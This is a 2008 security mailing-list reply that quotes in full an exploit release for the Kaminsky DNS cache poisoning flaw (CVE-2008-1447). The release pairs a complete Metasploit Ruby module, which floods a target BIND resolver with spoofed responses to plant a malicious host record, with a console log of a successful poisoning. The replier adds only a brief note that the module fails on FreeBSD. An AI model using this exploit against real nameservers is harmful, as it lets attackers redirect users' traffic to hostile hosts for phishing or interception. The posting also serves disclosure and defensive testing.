[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Message-ID: <48895415.4040304@micom.mng.net>
Date: Fri, 25 Jul 2008 12:18:29 +0800
From: Ganbold <ganbold@...om.mng.net>
To: "I)ruid" <druid@...ghq.org>
Cc: full-disclosure@...ts.grok.org.uk,
bugtraq <bugtraq@...urityfocus.com>
Subject: Re: [Full-disclosure] CAU-EX-2008-0002: Kaminsky DNS Cache Poisoning
Flaw Exploit
I)ruid wrote:
> ____ ____ __ __
> / \ / \ | | | |
> ----====####/ /\__\##/ /\ \##| |##| |####====----
> | | | |__| | | | | |
> | | ___ | __ | | | | |
> ------======######\ \/ /#| |##| |#| |##| |######======------
> \____/ |__| |__| \______/
>
> Computer Academic Underground
> http://www.caughq.org
> Exploit Code
>
> ===============/========================================================
> Exploit ID: CAU-EX-2008-0002
> Release Date: 2008.07.23
> Title: bailiwicked_host.rb
> Description: Kaminsky DNS Cache Poisoning Flaw Exploit
> Tested: BIND 9.4.1-9.4.2
> Attributes: Remote, Poison, Resolver, Metasploit
> Exploit URL: http://www.caughq.org/exploits/CAU-EX-2008-0002.txt
> Author/Email: I)ruid <druid (@) caughq.org>
> H D Moore <hdm (@) metasploit.com>
> ===============/========================================================
>
> Description
> ===========
>
> This exploit targets a fairly ubiquitous flaw in DNS implementations
> which allow the insertion of malicious DNS records into the cache of the
> target nameserver. This exploit caches a single malicious host entry
> into the target nameserver. By causing the target nameserver to query
> for random hostnames at the target domain, the attacker can spoof a
> response to the target server including an answer for the query, an
> authority server record, and an additional record for that server,
> causing target nameserver to insert the additional record into the
> cache.
>
>
> Example
> =======
>
> # /msf3/msfconsole
>
> _ _ _ _
> | | | | (_) |
> _ __ ___ ___| |_ __ _ ___ _ __ | | ___ _| |_
> | '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
> | | | | | | __/ || (_| \__ \ |_) | | (_) | | |_
> |_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
> | |
> |_|
>
>
> =[ msf v3.2-release
> + -- --=[ 298 exploits - 124 payloads
> + -- --=[ 18 encoders - 6 nops
> =[ 72 aux
>
> msf > use auxiliary/spoof/dns/bailiwicked_host
> msf auxiliary(bailiwicked_host) > show options
>
> Module options:
>
> Name Current Setting Required Description
> ---- --------------- -------- -----------
> HOSTNAME pwned.example.com yes Hostname to hijack
> NEWADDR 1.3.3.7 yes New address for hostname
> RECONS 208.67.222.222 yes Nameserver used for reconnaissance
> RHOST yes The target address
> SRCPORT yes The target server's source query port (0 for automatic)
> XIDS 10 yes Number of XIDs to try for each query
>
> msf auxiliary(bailiwicked_host) > set RHOST A.B.C.D
> RHOST => A.B.C.D
>
> msf auxiliary(bailiwicked_host) > check
> [*] Using the Metasploit service to verify exploitability...
> [*] >> ADDRESS: A.B.C.D PORT: 48178
> [*] >> ADDRESS: A.B.C.D PORT: 48178
> [*] >> ADDRESS: A.B.C.D PORT: 48178
> [*] >> ADDRESS: A.B.C.D PORT: 48178
> [*] >> ADDRESS: A.B.C.D PORT: 48178
> [*] FAIL: This server uses static source ports and is vulnerable to poisoning
>
> msf auxiliary(bailiwicked_host) > set SRCPORT 0
> SRCPORT => 0
>
> msf auxiliary(bailiwicked_host) > run
> [*] Switching to target port 48178 based on Metasploit service
> [*] Targeting nameserver A.B.C.D
> [*] Querying recon nameserver for example.com.'s nameservers...
> [*] Got answer with 2 answers, 0 authorities
> [*] Got an NS record: example.com. 172643 IN NS ns89.worldnic.com.
> [*] Querying recon nameserver for address of ns89.worldnic.com....
> [*] Got answer with 1 answers, 0 authorities
> [*] Got an A record: ns89.worldnic.com. 172794 IN A 205.178.190.45
> [*] Checking Authoritativeness: Querying 205.178.190.45 for example.com....
> [*] ns89.worldnic.com. is authoritative for example.com., adding to list of nameservers to spoof as
> [*] Got an NS record: example.com. 172643 IN NS ns90.worldnic.com.
> [*] Querying recon nameserver for address of ns90.worldnic.com....
> [*] Got answer with 1 answers, 0 authorities
> [*] Got an A record: ns90.worldnic.com. 172794 IN A 205.178.144.45
> [*] Checking Authoritativeness: Querying 205.178.144.45 for example.com....
> [*] ns90.worldnic.com. is authoritative for example.com., adding to list of nameservers to spoof as
> [*] Attempting to inject a poison record for pwned.example.com. into A.B.C.D:48178...
> [*] Sent 1000 queries and 20000 spoofed responses...
> [*] Sent 2000 queries and 40000 spoofed responses...
> [*] Sent 3000 queries and 60000 spoofed responses...
> [*] Sent 4000 queries and 80000 spoofed responses...
> [*] Sent 5000 queries and 100000 spoofed responses...
> [*] Sent 6000 queries and 120000 spoofed responses...
> [*] Sent 7000 queries and 140000 spoofed responses...
> [*] Poisoning successful after 7000 attempts: pwned.example.com == 1.3.3.7
> [*] Auxiliary module execution completed
> msf auxiliary(bailiwicked_host) >
>
> msf auxiliary(bailiwicked_host) > nslookup pwned.example.com A.B.C.D
> [*] exec: nslookup pwned.example.com A.B.C.D
>
> Server: A.B.C.D
> Address: A.B.C.D#53
>
> Non-authoritative answer:
> Name: pwned.example.com
> Address: 1.3.3.7
>
>
> Credits
> =======
>
> Dan Kaminsky is credited with originally discovering this vulnerability.
>
>
> References
> ==========
>
> http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1447
> http://www.kb.cert.org/vuls/id/800113
>
>
> Metasploit
> ==========
>
> require 'msf/core'
> require 'net/dns'
> require 'scruby'
> require 'resolv'
>
> module Msf
>
> class Auxiliary::Spoof::Dns::BailiWickedHost < Msf::Auxiliary
>
> include Exploit::Remote::Ip
>
> def initialize(info = {})
> super(update_info(info,
> 'Name' => 'DNS BailiWicked Host Attack',
> 'Description' => %q{
> This exploit attacks a fairly ubiquitous flaw in DNS implementations which
> Dan Kaminsky found and disclosed ~Jul 2008. This exploit caches a single
> malicious host entry into the target nameserver by sending random sub-domain
> queries to the target DNS server coupled with spoofed replies to those
> queries from the authoritative nameservers for the domain which contain a
> malicious host entry for the hostname to be poisoned in the authority and
> additional records sections. Eventually, a guessed ID will match and the
> spoofed packet will get accepted, and due to the additional hostname entry
> being within bailiwick constraints of the original request the malicious host
> entry will get cached.
> },
> 'Author' => [ 'I)ruid', 'hdm' ],
> 'License' => MSF_LICENSE,
> 'Version' => '$Revision: 5585 $',
> 'References' =>
> [
> [ 'CVE', '2008-1447' ],
> [ 'US-CERT-VU', '8000113' ],
> [ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.txt' ],
> ],
> 'Privileged' => true,
> 'Targets' =>
> [
> ["BIND",
> {
> 'Arch' => ARCH_X86,
> 'Platform' => 'linux',
> },
> ],
> ],
> 'DisclosureDate' => 'Jul 21 2008'
> ))
>
> register_options(
> [
> OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
> OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.example.com']),
> OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']),
> OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']),
> OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]),
> OptInt.new('TTL', [true, 'TTL for the malicious host entry', 31337]),
> ], self.class)
>
> end
>
> def auxiliary_commands
> return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" }
> end
>
> def cmd_check(*args)
> targ = args[0] || rhost()
> if(not (targ and targ.length > 0))
> print_status("usage: check [dns-server]")
> return
> end
>
> print_status("Using the Metasploit service to verify exploitability...")
> srv_sock = Rex::Socket.create_udp(
> 'PeerHost' => targ,
> 'PeerPort' => 53
> )
>
> random = false
> ports = []
> lport = nil
>
> 1.upto(5) do |i|
>
> req = Resolv::DNS::Message.new
> txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
> req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
> req.rd = 1
>
> srv_sock.put(req.encode)
> res, addr = srv_sock.recvfrom()
>
>
> if res and res.length > 0
> res = Resolv::DNS::Message.decode(res)
> res.each_answer do |name, ttl, data|
> if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
> t_addr, t_port = $1.split(':')
>
> print_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}")
> t_port = t_port.to_i
> if(lport and lport != t_port)
> random = true
> end
> lport = t_port
> ports << t_port
> end
> end
> end
> end
>
> srv_sock.close
>
> if(ports.length < 5)
> print_status("UNKNOWN: This server did not reply to our vulnerability check requests")
> return
> end
>
> if(random)
> print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}")
> print_status(" This server may still be exploitable, but not by this tool.")
> else
> print_status("FAIL: This server uses static source ports and is vulnerable to poisoning")
> end
> end
>
> def run
> target = rhost()
> source = Rex::Socket.source_address(target)
> sport = datastore['SRCPORT']
> hostname = datastore['HOSTNAME'] + '.'
> address = datastore['NEWADDR']
> recons = datastore['RECONS']
> xids = datastore['XIDS'].to_i
> ttl = datastore['TTL'].to_i
> xidbase = rand(4)+2*10000
>
> domain = hostname.match(/[^\x2e]+\x2e[^\x2e]+\x2e$/)[0]
>
> srv_sock = Rex::Socket.create_udp(
> 'PeerHost' => target,
> 'PeerPort' => 53
> )
>
> # Get the source port via the metasploit service if it's not set
> if sport.to_i == 0
> req = Resolv::DNS::Message.new
> txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
> req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
> req.rd = 1
>
> srv_sock.put(req.encode)
> res, addr = srv_sock.recvfrom()
>
> if res and res.length > 0
> res = Resolv::DNS::Message.decode(res)
> res.each_answer do |name, ttl, data|
> if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
> t_addr, t_port = $1.split(':')
> sport = t_port.to_i
>
> print_status("Switching to target port #{sport} based on Metasploit service")
> if target != t_addr
> print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
> end
> end
> end
> end
> end
>
> # Verify its not already cached
> begin
> query = Resolv::DNS::Message.new
> query.add_question(hostname, Resolv::DNS::Resource::IN::A)
> query.rd = 0
>
> begin
> cached = false
> srv_sock.put(query.encode)
> answer, addr = srv_sock.recvfrom()
>
> if answer and answer.length > 0
> answer = Resolv::DNS::Message.decode(answer)
> answer.each_answer do |name, ttl, data|
> if((name.to_s + ".") == hostname and data.address.to_s == address)
> t = Time.now + ttl
> print_status("Failure: This hostname is already in the target cache: #{name} == #{address}")
> print_status(" Cache entry expires on #{t.to_s}... sleeping.")
> cached = true
> sleep ttl
> end
> end
> end
> end until not cached
> rescue ::Interrupt
> raise $!
> rescue ::Exception => e
> print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
> end
>
> res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver
>
> print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}"
>
> # Look up the nameservers for the domain
> print_status "Querying recon nameserver for #{domain}'s nameservers..."
> answer0 = res0.send(domain, Net::DNS::NS)
> #print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"
>
> barbs = [] # storage for nameservers
> answer0.answer.each do |rr0|
> print_status " Got an #{rr0.type} record: #{rr0.inspect}"
> if rr0.type == 'NS'
> print_status " Querying recon nameserver for address of #{rr0.nsdname}.."
> answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
> #print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
> answer1.answer.each do |rr1|
> print_status " Got an #{rr1.type} record: #{rr1.inspect}"
> res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1)
> print_status " Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
> answer2 = res2.send(domain)
> if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
> nsrec = {:name => rr0.nsdname, :addr => rr1.address}
> barbs << nsrec
> print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
> end
> end
> end
> end
>
> if barbs.length == 0
> print_status( "No DNS servers found.")
> srv_sock.close
> disconnect_ip
> return
> end
>
> # Flood the target with queries and spoofed responses, one will eventually hit
> queries = 0
> responses = 0
>
> connect_ip if not ip_sock
>
> print_status( "Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...")
>
> while true
> randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain # randomize the hostname
>
> # Send spoofed query
> req = Resolv::DNS::Message.new
> req.id = rand(2**16)
> req.add_question(randhost, Resolv::DNS::Resource::IN::A)
>
> req.rd = 1
>
> buff = (
> Scruby::IP.new(
> #:src => barbs[0][:addr].to_s,
> :src => source,
> :dst => target,
> :proto => 17
> )/Scruby::UDP.new(
> :sport => (rand((2**16)-1024)+1024).to_i,
> :dport => 53
> )/req.encode
> ).to_net
> ip_sock.sendto(buff, target)
> queries += 1
>
> # Send evil spoofed answer from ALL nameservers (barbs[*][:addr])
> req.add_answer(randhost, ttl, Resolv::DNS::Resource::IN::A.new(address))
> req.add_authority(domain, ttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname)))
> req.add_additional(hostname, ttl, Resolv::DNS::Resource::IN::A.new(address))
> req.qr = 1
> req.ra = 1
>
> xidbase.upto(xidbase+xids-1) do |id|
> req.id = id
> barbs.each do |barb|
> buff = (
> Scruby::IP.new(
> #:src => barbs[i][:addr].to_s,
> :src => barb[:addr].to_s,
> :dst => target,
> :proto => 17
> )/Scruby::UDP.new(
> :sport => 53,
> :dport => sport.to_i
> )/req.encode
> ).to_net
> ip_sock.sendto(buff, target)
> responses += 1
> end
> end
>
> # status update
> if queries % 1000 == 0
> print_status("Sent #{queries} queries and #{responses} spoofed responses...")
> end
>
> # every so often, check and see if the target is poisoned...
> if queries % 250 == 0
> begin
> query = Resolv::DNS::Message.new
> query.add_question(hostname, Resolv::DNS::Resource::IN::A)
> query.rd = 0
>
> srv_sock.put(query.encode)
> answer, addr = srv_sock.recvfrom()
>
> if answer and answer.length > 0
> answer = Resolv::DNS::Message.decode(answer)
> answer.each_answer do |name, ttl, data|
> if((name.to_s + ".") == hostname and data.address.to_s == address)
> print_status("Poisoning successful after #{queries} attempts: #{name} == #{address}")
> disconnect_ip
> return
> end
> end
> end
> rescue ::Interrupt
> raise $!
> rescue ::Exception => e
> print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
> end
> end
>
> end
>
> end
>
> end
> end
>
On FreeBSD 7.0-STABLE (updated on Fri May 23) it fails to create raw
socket even when running as root:
...
[-] This module is configured to use a raw IP socket. On Unix systems,
only the root user is allowed to create raw sockets.Please run the
framework as root to use this module.
[*] Attempting to inject poison records for example.com.'s nameservers
into 202.72.241.4:55088...
[-] Auxiliary failed: undefined method `sendto' for nil:NilClass
>
>
> ------------------------------------------------------------------------
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
--
A prisoner of war is a man who tries to kill you and fails, and then
asks you not to kill him. -- Sir Winston Churchill, 1952
Powered by blists - more mailing lists